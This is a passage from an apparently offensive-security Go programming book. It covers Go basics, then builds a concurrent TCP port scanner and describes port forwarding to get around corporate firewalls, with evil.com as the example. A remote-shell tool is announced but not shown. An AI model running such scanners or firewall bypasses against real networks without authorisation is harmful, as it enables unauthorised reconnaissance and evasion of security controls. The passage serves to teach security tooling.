fields that begin with a capital letter are exported and accessible outside
Go Fundamentals 13
the package, whereas those starting with a lowercase letter are private,
accessible only within the package.
You can think of Go’s interface type as a blueprint or a contract. This
blueprint defines an expected set of actions that any concrete implementa-
tion must fulfill in order to be considered a type of that interface. To define
an interface, you define a set of methods; any data type that contains those
methods with the correct signatures fulfills the contract and is considered
a type of that interface. Let’s take a look at an example:
u type Friend interface {
v SayHello()
}
In this sample, you’ve defined an interface called Friend u that requires
one method to be implemented: SayHello() v. That means that any type that
implements the SayHello() method is a Friend. Notice that the Friend interface
doesn’t actually implement that function—it just says that if you’re a Friend,
you need to be able to SayHello().
The following function, Greet(), takes a Friend interface as input and
says hello in a Friend-specific way:
func Greetu (f Friendv) {
f.SayHello()
}
You can pass any Friend type to the function. Luckily, the Person type
used in the previous example can SayHello()—it’s a Friend. Therefore, if a
function named Greet() u, as shown in the preceding code, expects a Friend
as an input parameter v, you can pass it a Person, like this:
func main() {
var guy = new(Person)
guy.Name = "Dave"
Greet(guy)
}
Using interfaces and structs, you can define multiple types that you
can pass to the same Greet() function, so long as these types implement the
Friend interface. Consider this modified example:
u type Dog struct {}
func (d *Dog) SayHello()v {
fmt.Println("Woof woof")
}
func main() {
var guy = new(Person)
guy.Name = "Dave"
w Greet(guy)
var dog = new(Dog)
x Greet(dog)
}
14 Chapter 1
The example shows a new type, Dog u, that is able to SayHello() v and,
therefore, is a Friend. You are able to Greet() both a Person w and a Dog x,
since both are capable of SayHello().
We’ll cover interfaces multiple times throughout the book to help you
better understand the concept.
Control Structures
Go contains slightly fewer control structures than other modern languages.
Despite that, you can still accomplish complex processing, including condi-
tionals and loops, with Go.
Go’s primary conditional is the if/else structure:
if x == 1 {
fmt.Println("X is equal to 1")
} else {
fmt.Println("X is not equal to 1")
}
Go’s syntax deviates slightly from the syntax of other languages. For
instance, you don’t wrap the conditional check—in this case, x == 1—in
parentheses. You must wrap all code blocks, even the preceding single-line
blocks, in braces. Many other modern languages make the braces optional
for single-line blocks, but they’re required in Go.
For conditionals involving more than two choices, Go provides a switch
statement. The following is an example:
switch xu {
case "foo"v:
fmt.Println("Found foo")
case "bar"w:
fmt.Println("Found bar")
defaultx:
fmt.Println("Default case")
}
In this example, the switch statement compares the contents of a
variable x u against various values—foo v and bar w—and logs a mes-
sage to stdout if x matches one of the conditions. This example includes
a default case x, which executes in the event that none of the other
conditions match.
Note that, unlike many other modern languages, your cases don’t have
to include break statements. In other languages, execution often continues
through each of the cases until the code reaches a break statement or the end
of the switch. Go will execute no more than one matching or default case.
Go also contains a special variation on the switch called a type switch
that performs type assertions by using a switch statement. Type switches
are useful for trying to understand the underlying type of an interface.
Go Fundamentals 15
For example, you might use a type switch to retrieve the underlying type
of an interface called i:
func foo(iu interface{}) {
switch v := i.(type)v {
case int:
fmt.Println("I'm an integer!")
case string:
fmt.Println("I'm a string!")
default:
fmt.Println("Unknown type!")
}
}
This example uses special syntax, i.(type) v, to retrieve the type of the
i interface variable u. You use this value in a switch statement in which each
case matches against a specific type. In this example, your cases check for
int or string primitive types, but you could very well check for pointers or
user-defined struct types, for instance.
Go’s last flow control structure is the for loop. The for loop is Go’s
exclusive construct for performing iteration or repeating sections of code.
It might seem odd to not have conventions such as do or while loops at your
disposal, but you can re-create them by using variations of the for loop syn-
tax. Here’s one variation of a for loop:
for i := 0; i < 10; i++ {
fmt.Println(i)
}
The code loops through numbers 0 to 9, printing each number to stdout.
Notice the semicolons in the first line. Unlike many other languages, which
use semicolons as line delimiters, Go uses them for various control structures
to perform multiple distinct, but related, subtasks in a single line of code.
The first line uses the semicolons to separate the initialization logic (i := 0),
the conditional expression (i < 10), and the post statement (i++). This struc-
ture should be very, very familiar to anyone who has coded in any modern
language, as it closely follows the conventions of those languages.
The following example shows a slight variation of the for loop that
loops over a collection, such as a slice or a map:
u nums := []int{2,4,6,8}
for idxv, valw := rangex nums {
fmt.Println(idx, val)
}
In this example, you initialize a slice of integers named nums u. You then
use the keyword range x within the for loop to iterate over the slice. The range
keyword returns two values: the current index v and a copy of the current
value w at that index. If you don’t intend to use the index, you could replace
idx in the for loop with an underscore to tell Go you won’t need it.
16 Chapter 1
You can use this exact same looping logic with maps as well to return
each key/value pair.
Concurrency
Much like the control structures already reviewed, Go has a much simpler
concurrency model than other languages. To execute code concurrently,
you can use goroutines, which are functions or methods that can run simul-
taneously. These are often described as lightweight threads because the cost
of creating them is minimal when compared to actual threads.
To create a goroutine, use the go keyword before the call to a method
or function you wish to run concurrently:
u func f() {
fmt.Println("f function")
}
func main() {
v go f()
time.Sleep(1 * time.Second)
fmt.Println("main function")
}
In this example, you define a function, f() u, that you call in your
main() function, the program’s entry point. You preface the call with the
keyword go v, meaning that the program will run function f() concur-
rently; in other words, the execution of your main() function will continue
without waiting for f() to complete. You then use a time.Sleep(1 * time
.Second) to force the main() function to pause temporarily so that f() can
complete. If you didn’t pause the main() function, the program would
likely exit prior to the completion of function f(), and you would never
see its results displayed to stdout. Done correctly, you’ll see messages
printed to stdout indicating that you’ve finished executing both the f()
and main() functions.
Go contains a data type called channels that provide a mechanism
through which goroutines can synchronize their execution and communi-
cate with one another. Let’s look at an example that uses channels to dis-
play the length of different strings and their sum simultaneously:
u func strlen(s string, c chan int) {
v c <- len(s)
}
func main() {
w c := make(chan int)
x go strlen("Salutations", c)
go strlen("World", c)
y x, y := <-c, <-c
fmt.Println(x, y, x+y)
}
Go Fundamentals 17
First, you define and use a variable c of type chan int. You can define
channels of various types, depending on the type of data you intend to pass
via the channel. In this case, you’ll be passing the lengths of various strings
as integer values between goroutines, so you should use an int channel.
Notice a new operator: <-. This operator indicates whether the data
is flowing to or from a channel. You can think of this as the equivalent of
placing items into a bucket or removing items from a bucket.
The function you define, strlen() u, accepts a word as a string, as well
as a channel that you’ll use for synchronizing data. The function contains
a single statement, c <- len(s) v, which uses the built-in len() function
to determine the length of the string, and then puts the result into the
c channel by using the <- operator.
The main() function pieces everything together. First, you issue a call
to make(chan int) w to create the integer channel. You then issue multiple
concurrent calls to the strlen() function by using the go keyword x, which
spins up multiple goroutines. You pass to the strlen() function two string
values, as well as the channel into which you want the results placed. Lastly,
you read data from the channel by using the <- operator y, this time with
data flowing from the channel. This means you’re taking items out of your
bucket, so to speak, and assigning those values to the variables x and y.
Note that execution blocks at this line until adequate data can be read
from the channel.
When the line completes, you display the length of each string as well
as their sum to stdout. In this example, it produces the following output:
5 11 16
This may seem overwhelming, but it’s key to highlight basic concurrency
patterns, as Go shines in this area. Because concurrency and parallelism
in Go can become rather complicated, feel free to explore on your own.
Throughout this book, we’ll talk about more realistic and complicated
implementations of concurrency as we introduce buffered channels, wait
groups, mutexes, and more.
Error Handling
Unlike most other modern programming languages, Go does not include
syntax for try/catch/finally error handling. Instead, it adopts a minimalistic
approach that encourages you to check for errors where they occur rather
than allowing them to “bubble up” to other functions in the call chain.
Go defines a built-in error type with the following interface declaration:
type error interface {
Error() string
}
18 Chapter 1
This means you can use any data type that implements a method named
Error(), which returns a string value, as an error. For example, here’s a custom
error you could define and use throughout your code:
u type MyError string
func (e MyError) Error() stringv {
return string(e)
}
You create a user-defined string type named MyError u and implement
an Error() string method v for the type.
When it comes to error handling, you’ll quickly get accustomed to the
following pattern:
func foo() error {
return errors.New("Some Error Occurred")
}
func main() {
if err := foo()u;err != nilv {
// Handle the error
}
}
You’ll find that it’s fairly common for functions and methods to return
at least one value. One of these values is almost always an error. In Go, the
error returned may be a value of nil, indicating that the function generated
no error and everything seemingly ran as expected. A non-nil value means
something broke in the function.
Thus, you can check for errors by using an if statement, as shown in
the main() function. You’ll typically see multiple statements, separated by a
semicolon. The first statement calls the function and assigns the resulting
error to a variable u. The second statement then checks whether that error
is nil v. You use the body of the if statement to handle the error.
You’ll find that philosophies differ on the best way to handle and log
errors in Go. One of the challenges is that, unlike other languages, Go’s
built-in error type doesn’t implicitly include a stack trace to help you pin-
point the error’s context or location. Although you can certainly generate
one and assign it to a custom type in your application, its implementation
is left up to the developers. This can be a little annoying at first, but you
can manage it through proper application design.
Handling Structured Data
Security practitioners will often write code that handles structured data, or
data with common encoding, such as JSON or XML. Go contains standard
packages for data encoding. The most common packages you’re likely to
use include encoding/json and encoding/xml.
Both packages can marshal and unmarshal arbitrary data structures,
which means they can turn strings to structures, and structures to strings.
Go Fundamentals 19
Let’s look at the following sample, which serializes a structure to a byte slice
and then subsequently deserializes the byte slice back to a structure:
u type Foo struct {
Bar string
Baz string
}
func main() {
v f := Foo{"Joe Junior", "Hello Shabado"}
b, _w := json.Marshalx(fy)
z fmt.Println(string(b))
json.Unmarshal(b{, &f|)
}
This code (which deviates from best practices and ignores possible
errors) defines a struct type named Foo u. You initialize it in your main()
function v and then make a call to json.Marshal() x, passing it the Foo
instance y. This Marshal() method encodes the struct to JSON, returning
a byte slice w that you subsequently print to stdout z. The output, shown
here, is a JSON-encoded string representation of our Foo struct:
{"Bar":"Joe Junior","Baz":"Hello Shabado"}
Lastly, you take that same byte slice { and decode it via a call to json
.Unmarshal(b, &f). This produces a Foo struct instance |. Dealing with XML
is nearly identical to this process.
When working with JSON and XML, you’ll commonly use field tags,
which are metadata elements that you assign to your struct fields to define
how the marshaling and unmarshaling logic can find and treat the affili-
ated elements. Numerous variations of these field tags exist, but here is a
short example that demonstrates their usage for handling XML:
type Foo struct {
Bar string `xml:"id,attr"`
Baz string `xml:"parent>child"`
}
The string values, wrapped in backticks and following the struct fields,
are field tags. Field tags always begin with the tag name (xml in this case),
followed by a colon and the directive enclosed in double quotes. The direc-
tive defines how the fields should be handled. In this case, you are supply-
ing directives that declare that Bar should be treated as an attribute named
id, not an element, and that Baz should be found in a subelement of parent,
named child. If you modify the previous JSON example to now encode the
structure as XML, you would see the following result:
<Foo id="Joe Junior"><parent><child>Hello Shabado</child></parent></Foo>
20 Chapter 1
The XML encoder reflectively determines the names of elements, using
the tag directives, so each field is handled according to your needs.
Throughout this book, you’ll see these field tags used for dealing
with other data serialization formats, including ASN.1 and MessagePack.
We’ll also discuss some relevant examples of defining your own custom
tags, specifically when you learn how to handle the Server Message Block
(SMB) Protocol.
Summary
In this chapter, you set up your Go environment and learned about the
fundamental aspects of the Go language. This is not an exhaustive list of
all Go’s characteristics; the language is far too nuanced and large for us
to cram it all into a single chapter. Instead, we included the aspects that
will be most useful in the chapters that follow. We’ll now turn our atten-
tion to practical applications of the language for security practitioners
and hackers. Here we Go!
Let’s begin our practical application of Go
with the Transmission Control Protocol (TCP),
the predominant standard for connection-
oriented, reliable communications and the
foundation of modern networking. TCP is everywhere,
and it has well-documented libraries, code samples, and
generally easy-to-understand packet flows. You must
understand TCP to fully evaluate, analyze, query, and
manipulate network traffic.
As an attacker, you should understand how TCP works and be able to
develop usable TCP constructs so that you can identify open/closed ports,
recognize potentially errant results such as false-positives—for example, syn-
flood protections—and bypass egress restrictions through port forwarding.
In this chapter, you’ll learn basic TCP communications in Go; build a concur-
rent, properly throttled port scanner; create a TCP proxy that can be used for
port forwarding; and re-create Netcat’s “gaping security hole” feature.
2
T CP, SC A N N E R S, A N D PROX IE S
22 Chapter 2
Entire textbooks have been written to discuss every nuance of TCP,
including packet structure and flow, reliability, communication reassem-
bly, and more. This level of detail is beyond the scope of this book. For
more details, you should read The TCP/IP Guide by Charles M. Kozierok
(No Starch Press, 2005).
Understanding the TCP Handshake
For those who need a refresher, let’s review the basics. Figure 2-1 shows how
TCP uses a handshake process when querying a port to determine whether
the port is open, closed, or filtered.
Server
Client
Server
Client
Server
Client
syn
syn-ack
ack
Open Port
syn
rst
Closed Port
syn
Filtered Port
Firewall
Timeout
Figure 2-1: TCP handshake fundamentals
If the port is open, a three-way handshake takes place. First, the client
sends a syn packet, which signals the beginning of a communication. The
server then responds with a syn-ack, or acknowledgment of the syn packet
it received, prompting the client to finish with an ack, or acknowledgment
of the server’s response. The transfer of data can then occur. If the port
is closed, the server responds with a rst packet instead of a syn-ack. If the
traffic is being filtered by a firewall, the client will typically receive no
response from the server.
TCP, Scanners, and Proxies 23
These responses are important to understand when writing network-
based tools. Correlating the output of your tools to these low-level packet
flows will help you validate that you’ve properly established a network con-
nection and troubleshoot potential problems. As you’ll see later in this
chapter, you can easily introduce bugs into your code if you fail to allow
full client-server TCP connection handshakes to complete, resulting in
inaccurate or misleading results.
Bypassing Firewalls with Port Forwarding
People can configure firewalls to prevent a client from connecting to certain
servers and ports, while allowing access to others. In some cases, you can cir-
cumvent these restrictions by using an intermediary system to proxy the con-
nection around or through a firewall, a technique known as port forwarding.
Many enterprise networks restrict internal assets from establishing HTTP
connections to malicious sites. For this example, imagine a nefarious site
called evil.com. If an employee attempts to browse evil.com directly, a fire-
wall blocks the request. However, should an employee own an external
system that’s allowed through the firewall (for example, stacktitan.com),
that employee can leverage the allowed domain to bounce connections
to evil.com. Figure 2-2 illustrates this concept.
stacktitan.com
Client
evil.com
Request
stacktitan.com
Request
traverses
firewall
Traffic proxied
to evil.com
Figure 2-2: A TCP proxy
A client connects, through a firewall, to the destination host stacktitan.com.
This host is configured to forward connections to the host evil.com. While
a firewall forbids direct connections to evil.com, a configuration such as the
one shown here could allow a client to circumvent this protection mecha-
nism and access evil.com.
You can use port forwarding to exploit several restrictive network con-
figurations. For example, you could forward traffic through a jump box to
access a segmented network or access ports bound to restrictive interfaces.
Writing a TCP Scanner
One effective way to conceptualize the interaction of TCP ports is by imple-
menting a port scanner. By writing one, you’ll observe the steps that occur
in a TCP handshake, along with the effects of encountered state changes,
which allow you to determine whether a TCP port is available or whether
it responds with a closed or filtered state.
24 Chapter 2
Once you’ve written a basic scanner, you’ll write one that’s faster. A
port scanner may scan several ports by using a single contiguous method;
however, this can become time-consuming when your goal is to scan all
65,535 ports. You’ll explore how to use concurrency to make an inefficient
port scanner more suitable for larger port-scanning tasks.
You’ll also be able to apply the concurrency patterns that you’ll learn in
this section in many other scenarios, both in this book and beyond.
Testing for Port Availability
The first step in creating the port scanner is understanding how to initiate a
connection from a client to a server. Throughout this example, you’ll be con-
necting to and scanning scanme.nmap.org, a service run by the Nmap project.1
To do this, you’ll use Go’s net package: net.Dial(network, address string).
The first argument is a string that identifies the kind of connection to
initiate. This is because Dial isn’t just for TCP; it can be used for creating
connections that use Unix sockets, UDP, and Layer 4 protocols that exist
only in your head (the authors have been down this road, and suffice it to
say, TCP is very good). There are a few strings you can provide, but for the
sake of brevity, you’ll use the string tcp.
The second argument tells Dial(network, address string) the host to
which you wish to connect. Notice it’s a single string, not a string and an int.
For IPv4/TCP connections, this string will take the form of host:port. For
example, if you wanted to connect to scanme.nmap.org on TCP port 80, you
would supply scanme.nmap.org:80.
Now you know how to create a connection, but how will you know
if the connection is successful? You’ll do this through error checking:
Dial(network, address string) returns Conn and error, and error will be nil
if the connection is successful. So, to verify your connection, you just
check whether error equals nil.
You now have all the pieces needed to build a single port scanner, albeit
an impolite one. Listing 2-1 shows how to put it together. (All the code list-
ings at the root location of / exist under the provided github repo https://
github.com/blackhat-go/bhg/.)
package main
import (
"fmt"
"net"
)
func main() {
_, err := net.Dial("tcp", "scanme.nmap.org:80")
1. This is a free service provided by Fyodor, the creator of Nmap, but when you’re scanning,
be polite. He requests, “Try not to hammer on the server too hard. A few scans in a day is fine,
but don’t scan 100 times a day.”
TCP, Scanners, and Proxies 25
if err == nil {
fmt.Println("Connection successful")
}
}
Listing 2-1: A basic port scanner that scans only one port (/ch-2/dial/main.go)
Run this code. You should see Connection successful, provided you have
access to the great information superhighway.
Performing Nonconcurrent Scanning
Scanning a single port at a time isn’t useful, and it certainly isn’t efficient.
TCP ports range from 1 to 65535; but for testing, let’s scan ports 1 to 1024.
To do this, you can use a for loop:
for i:=1; i <= 1024; i++ {
}
Now you have an int, but remember, you need a string as the second
argument to Dial(network, address string). There are at least two ways to con-
vert the integer into a string. One way is to use the string conversion package,
strconv. The other way is to use Sprintf(format string, a ...interface{}) from
the fmt package, which (similar to its C sibling) returns a string generated
from a format string.
Create a new file with the code in Listing 2-2 and ensure that both your
loop and string generation work. Running this code should print 1024 lines,
but don’t feel obligated to count them.
package main
import (
"fmt"
)
func main() {
for i := 1; i <= 1024; i++ {
address := fmt.Sprintf("scanme.nmap.org:%d", i)
fmt.Println(address)
}
}
Listing 2-2: Scanning 1024 ports of scanme.nmap.org (/ch-2/tcp-scanner-slow/main.go)
All that’s left is to plug the address variable from the previous code
example into Dial(network, address string), and implement the same error
checking from the previous section to test port availability. You should also
add some logic to close the connection if it was successful; that way, connec-
tions aren’t left open. FINishing your connections is just polite. To do that,
you’ll call Close() on Conn. Listing 2-3 shows the completed port scanner.
26 Chapter 2
package main
import (
"fmt"
"net"
)
func main() {
for i := 1; i <= 1024; i++ {
address := fmt.Sprintf("scanme.nmap.org:%d", i)
conn, err := net.Dial("tcp", address)
if err != nil {
// port is closed or filtered.
continue
}
conn.Close()
fmt.Printf("%d open\n", i)
}
}
Listing 2-3: The completed port scanner (/ch-2 /tcp-scanner-slow/main.go)
Compile and execute this code to conduct a light scan against the
target. You should see a couple of open ports.
Performing Concurrent Scanning
The previous scanner scanned multiple ports in a single go (pun intended).
But your goal now is to scan multiple ports concurrently, which will make
your port scanner faster. To do this, you’ll harness the power of goroutines.
Go will let you create as many goroutines as your system can handle, bound
only by available memory.
The “Too Fast” Scanner Version
The most naive way to create a port scanner that runs concurrently is to
wrap the call to Dial(network, address string) in a goroutine. In the interest
of learning from natural consequences, create a new file called scan-too-fast.go
with the code in Listing 2-4 and execute it.
package main
import (
"fmt"
"net"
)
func main() {
for i := 1; i <= 1024; i++ {
go func(j int) {
address := fmt.Sprintf("scanme.nmap.org:%d", j)
conn, err := net.Dial("tcp", address)
TCP, Scanners, and Proxies 27
if err != nil {
return
}
conn.Close()
fmt.Printf("%d open\n", j)
}(i)
}
}
Listing 2-4: A scanner that works too fast (/ch-2/tcp-scanner-too-fast/main.go)
Upon running this code, you should observe the program exiting
almost immediately:
$ time ./tcp-scanner-too-fast
./tcp-scanner-too-fast 0.00s user 0.00s system 90% cpu 0.004 total
The code you just ran launches a single goroutine per connection, and
the main goroutine doesn’t know to wait for the connection to take place.
Therefore, the code completes and exits as soon as the for loop finishes
its iterations, which may be faster than the network exchange of packets
between your code and the target ports. You may not get accurate results
for ports whose packets were still in-flight.
There are a few ways to fix this. One is to use WaitGroup from the sync
package, which is a thread-safe way to control concurrency. WaitGroup is a
struct type and can be created like so:
var wg sync.WaitGroup
Once you’ve created WaitGroup, you can call a few methods on the struct.
The first is Add(int), which increases an internal counter by the number pro-
vided. Next, Done() decrements the counter by one. Finally, Wait() blocks the
execution of the goroutine in which it’s called, and will not allow further exe-
cution until the internal counter reaches zero. You can combine these calls to
ensure that the main goroutine waits for all connections to finish.
Synchronized Scanning Using WaitGroup
Listing 2-5 shows the same port-scanning program with a different imple-
mentation of the goroutines.
package main
import (
"fmt"
"net"
"sync"
)
前沿信安资讯阵地 公众号:i nf osrc
28 Chapter 2
func main() {
u var wg sync.WaitGroup
for i := 1; i <= 1024; i++ {
v wg.Add(1)
go func(j int) {
w defer wg.Done()
address := fmt.Sprintf("scanme.nmap.org:%d", j)
conn, err := net.Dial("tcp", address)
if err != nil {
return
}
conn.Close()
fmt.Printf("%d open\n", j)
}(i)
}
x wg.Wait()
}
Listing 2-5: A synchronized scanner that uses WaitGroup (/ch-2/tcp-scanner-wg-too-fast
/main.go)
This iteration of the code remains largely identical to our initial ver-
sion. However, you’ve added code that explicitly tracks the remaining work.
In this version of the program, you create sync.WaitGroup u, which acts as a
synchronized counter. You increment this counter via wg.Add(1) each time
you create a goroutine to scan a port v, and a deferred call to wg.Done()
decrements the counter whenever one unit of work has been performed w.
Your main() function calls wg.Wait(), which blocks until all the work has been
done and your counter has returned to zero x.
This version of the program is better, but still incorrect. If you run this
multiple times against multiple hosts, you might see inconsistent results.
Scanning an excessive number of hosts or ports simultaneously may cause
network or system limitations to skew your results. Go ahead and change
1024 to 65535, and the destination server to your localhost 127.0.0.1 in your
code. If you want, you can use Wireshark or tcpdump to see how fast those
connections are opened.
Port Scanning Using a Worker Pool
To avoid inconsistencies, you’ll use a pool of goroutines to manage the
concurrent work being performed. Using a for loop, you’ll create a cer-
tain number of worker goroutines as a resource pool. Then, in your main()
“thread,” you’ll use a channel to provide work.
To start, create a new program that has 100 workers, consumes a
channel of int, and prints them to the screen. You’ll still use WaitGroup to
block execution. Create your initial code stub for a main function. Above it,
write the function shown in Listing 2-6.
前沿信安资讯阵地 公众号:i nf osrc
TCP, Scanners, and Proxies 29
func worker(ports chan int, wg *sync.WaitGroup) {
for p := range ports {
fmt.Println(p)
wg.Done()
}
}
Listing 2-6: A worker function for processing work
The worker(int, *sync.WaitGroup) function takes two arguments: a
channel of type int and a pointer to a WaitGroup. The channel will be used
to receive work, and the WaitGroup will be used to track when a single work
item has been completed.
Now, add your main() function shown in Listing 2-7, which will manage
the workload and provide work to your worker(int, *sync.WaitGroup) function.
package main
import (
"fmt"
"sync"
)
func worker(ports chan int, wg *sync.WaitGroup) {
u for p := range ports {
fmt.Println(p)
wg.Done()
}
}
func main() {
ports := makev(chan int, 100)
var wg sync.WaitGroup
w for i := 0; i < cap(ports); i++ {
go worker(ports, &wg)
}
for i := 1; i <= 1024; i++ {
wg.Add(1)
x ports <- i
}
wg.Wait()
y close(ports)
}
Listing 2-7: A basic worker pool (/ch-2/tcp-sync-scanner /main.go)
First, you create a channel by using make() v. A second parameter, an
int value of 100, is provided to make() here. This allows the channel to be
buffered, which means you can send it an item without waiting for a receiver
to read the item. Buffered channels are ideal for maintaining and track-
ing work for multiple producers and consumers. You’ve capped the chan-
nel at 100, meaning it can hold 100 items before the sender will block.
前沿信安资讯阵地 公众号:i nf osrc
30 Chapter 2
This is a slight performance increase, as it will allow all the workers to
start immediately.
Next, you use a for loop w to start the desired number of workers—in
this case, 100. In the worker(int, *sync.WaitGroup) function, you use range u
to continuously receive from the ports channel, looping until the channel
is closed. Notice that you aren’t doing any work yet in the worker—that’ll
come shortly. Iterating over the ports sequentially in the main() function,
you send a port on the ports channel x to the worker. After all the work
has been completed, you close the channel y.
Once you build and execute this program, you’ll see your numbers
printed to the screen. You might notice something interesting here: the
numbers are printed in no particular order. Welcome to the wonderful
world of parallelism.
Multichannel Communication
To complete the port scanner, you could plug in your code from earlier in
the section, and it would work just fine. However, the printed ports would be
unsorted, because the scanner wouldn’t check them in order. To solve this
problem, you need to use a separate thread to pass the result of the port scan
back to your main thread to order the ports before printing. Another benefit
of this modification is that you can remove the dependency of a WaitGroup
entirely, as you’ll have another method of tracking completion. For example,
if you scan 1024 ports, you’re sending on the worker channel 1024 times,
and you’ll need to send the result of that work back to the main thread
1024 times. Because the number of work units sent and the number of
results received are the same, your program can know when to close the
channels and subsequently shut down the workers.
This modification is demonstrated in Listing 2-8, which completes the
port scanner.
package main
import (
"fmt"
"net"
"sort"
)
u func worker(ports, results chan int) {
for p := range ports {
address := fmt.Sprintf("scanme.nmap.org:%d", p)
conn, err := net.Dial("tcp", address)
if err != nil {
v results <- 0
continue
}
conn.Close()
w results <- p
}
}
前沿信安资讯阵地 公众号:i nf osrc
TCP, Scanners, and Proxies 31
func main() {
ports := make(chan int, 100)
x results := make(chan int)
y var openports []int
for i := 0; i < cap(ports); i++ {
go worker(ports, results)
}
z go func() {
for i := 1; i <= 1024; i++ {
ports <- i
}
}()
{ for i := 0; i < 1024; i++ {
port := <-results
if port != 0 {
openports = append(openports, port)
}
}
close(ports)
close(results)
| sort.Ints(openports)
for _, port := range openports {
fmt.Printf("%d open\n", port)
}
}
Listing 2-8: Port scanning with multiple channels (/ch-2/tcp-scanner-final/main.go)
The worker(ports, results chan int) function has been modified to
accept two channels u; the remaining logic is mostly the same, except that
if the port is closed, you’ll send a zero v, and if it’s open, you’ll send the
port w. Also, you create a separate channel to communicate the results
from the worker to the main thread x. You then use a slice y to store the
results so you can sort them later. Next, you need to send to the workers
in a separate goroutine z because the result-gathering loop needs to start
before more than 100 items of work can continue.
The result-gathering loop { receives on the results channel 1024 times.
If the port doesn’t equal 0, it’s appended to the slice. After closing the chan-
nels, you’ll use sort | to sort the slice of open ports. All that’s left is to loop
over the slice and print the open ports to screen.
There you have it: a highly efficient port scanner. Take some time to
play around with the code—specifically, the number of workers. The higher
the count, the faster your program should execute. But if you add too many
workers, your results could become unreliable. When you’re writing tools
for others to use, you’ll want to use a healthy default value that caters to
reliability over speed. However, you should also allow users to provide the
number of workers as an option.
前沿信安资讯阵地 公众号:i nf osrc
32 Chapter 2
You could make a couple of improvements to this program. First, you’re
sending on the results channel for every port scanned, and this isn’t neces-
sary. The alternative requires code that is slightly more complex as it uses an
additional channel not only to track the workers, but also to prevent a race
condition by ensuring the completion of all gathered results. As this is an
introductory chapter, we purposefully left this out; but don’t worry! We’ll
introduce this pattern in Chapter 3. Second, you might want your scanner to
be able to parse port-strings—for example, 80,443,8080,21-25, like those that
can be passed to Nmap. If you want to see an implementation of this, see
https://github.com/blackhat-go/bhg/blob/master/ch-2/scanner-port-format/. We’ll
leave this as an exercise for you to explore.
Building a TCP Proxy
You can achieve all TCP-based communications by using Go’s built-in net
package. The previous section focused primarily on using the net package
from a client’s perspective, and this section will use it to create TCP servers
and transfer data. You’ll begin this journey by building the requisite echo
server—a server that merely echoes a given response back to a client—
followed by two much more generally applicable programs: a TCP port
forwarder and a re-creation of Netcat’s “gaping security hole” for remote
command execution.
Using io.Reader and io.Writer
To create the examples in this section, you need to use two significant types
that are crucial to essentially all input/output (I/O) tasks, whether you’re
using TCP, HTTP, a filesystem, or any other means: io.Reader and io.Writer.
Part of Go’s built-in io package, these types act as the cornerstone to any
data transmission, local or networked. These types are defined in Go’s
documentation as follows:
type Reader interface {
Read(p []byte) (n int, err error)
}
type Writer interface {
Write(p []byte) (n int, err error)
}
Both types are defined as interfaces, meaning they can’t be directly
instantiated. Each type contains the definition of a single exported function:
Read or Write. As explained in Chapter 1, you can think of these functions as
abstract methods that must be implemented on a type for it to be considered
a Reader or Writer. For example, the following contrived type fulfills this
contract and can be used anywhere a Reader is accepted:
type FooReader struct {}
func (fooReader *FooReader) Read(p []byte) (int, error) {
// Read some data from somewhere, anywhere.
前沿信安资讯阵地 公众号:i nf osrc
TCP, Scanners, and Proxies 33
return len(dataReadFromSomewhere), nil
}
This same idea applies to the Writer interface:
type FooWriter struct {}
func (fooWriter *FooWriter) Write(p []byte) (int, error) {
// Write data somewhere.
return len(dataWrittenSomewhere), nil
}
Let’s take this knowledge and create something semi-usable: a custom
Reader and Writer that wraps stdin and stdout. The code for this is a little
contrived since Go’s os.Stdin and os.Stdout types already act as Reader and
Writer, but then you wouldn’t learn anything if you didn’t reinvent the
wheel every now and again, would you?
Listing 2-9 shows a full implementation, and an explanation follows.
package main
import (
"fmt"
"log"
"os"
)
// FooReader defines an io.Reader to read from stdin.
u type FooReader struct{}
// Read reads data from stdin.
v func (fooReader *FooReader) Read(b []byte) (int, error) {
fmt.Print("in > ")
return os.Stdin.Read(b)w
}
// FooWriter defines an io.Writer to write to Stdout.
x type FooWriter struct{}
// Write writes data to Stdout.
y func (fooWriter *FooWriter) Write(b []byte) (int, error) {
fmt.Print("out> ")
return os.Stdout.Write(b)z
}
func main() {
// Instantiate reader and writer.
var (
reader FooReader
writer FooWriter
)
// Create buffer to hold input/output.
{ input := make([]byte, 4096)
前沿信安资讯阵地 公众号:i nf osrc
34 Chapter 2
// Use reader to read input.
s, err := reader.Read(input)|
if err != nil {
log.Fatalln("Unable to read data")
}
fmt.Printf("Read %d bytes from stdin\n", s)
// Use writer to write output.
s, err = writer.Write(input)}
if err != nil {
log.Fatalln("Unable to write data")
}
fmt.Printf("Wrote %d bytes to stdout\n", s)
}
Listing 2-9: A reader and writer demonstration (/ch-2/io-example/main.go)
The code defines two custom types: FooReader u and FooWriter x. On
each type, you define a concrete implementation of the Read([]byte) func-
tion v for FooReader and the Write([]byte) function y for FooWriter. In this
case, both functions are reading from stdin w and writing to stdout z.
Note that the Read functions on both FooReader and os.Stdin return
the length of data and any errors. The data itself is copied into the byte
slice passed to the function. This is consistent with the Reader interface
prototype definition provided earlier in this section. The main() function
creates that slice (named input) { and then proceeds to use it in calls to
FooReader.Read([]byte) | and FooReader.Write([]byte) }.
A sample run of the program produces the following:
$ go run main.go
in > hello world!!!
Read 15 bytes from stdin
out> hello world!!!
Wrote 4096 bytes to stdout
Copying data from a Reader to a Writer is a fairly common pattern—so
much so that Go’s io package contains a Copy() function that can be used to
simplify the main() function. The function prototype is as follows:
func Copy(dst io.Writer, src io.Reader) (written int64, error)
This convenience function allows you to achieve the same program-
matic behavior as before, replacing your main() function with the code in
Listing 2-10.
func main() {
var (
reader FooReader
writer FooWriter
)
前沿信安资讯阵地 公众号:i nf osrc
TCP, Scanners, and Proxies 35
if _, err := io.Copy(&writer, &reader)u; err != nil {
log.Fatalln("Unable to read/write data")
}
}
Listing 2-10: Using io.Copy (/ch-2/copy-example/main.go)
Notice that the explicit calls to reader.Read([]byte) and writer.Write([]
byte) have been replaced with a single call to io.Copy(writer, reader) u.
Under the covers, io.Copy(writer, reader) calls the Read([]byte) function on
the provided reader, triggering the FooReader to read from stdin. Subsequently,
io.Copy(writer, reader) calls the Write([]byte) function on the provided
writer, resulting in a call to your FooWriter, which writes the data to stdout.
Essentially, io.Copy(writer, reader) handles the sequential read-then-write
process without all the petty details.
This introductory section is by no means a comprehensive look at Go’s
I/O and interfaces. Many convenience functions and custom readers and
writers exist as part of the standard Go packages. In most cases, Go’s stan-
dard packages contain all the basic implementations to achieve the most
common tasks. In the next section, let’s explore how to apply these funda-
mentals to TCP communications, eventually using the power vested in you
to develop real-life, usable tools.
Creating the Echo Server
As is customary for most languages, you’ll start by building an echo server
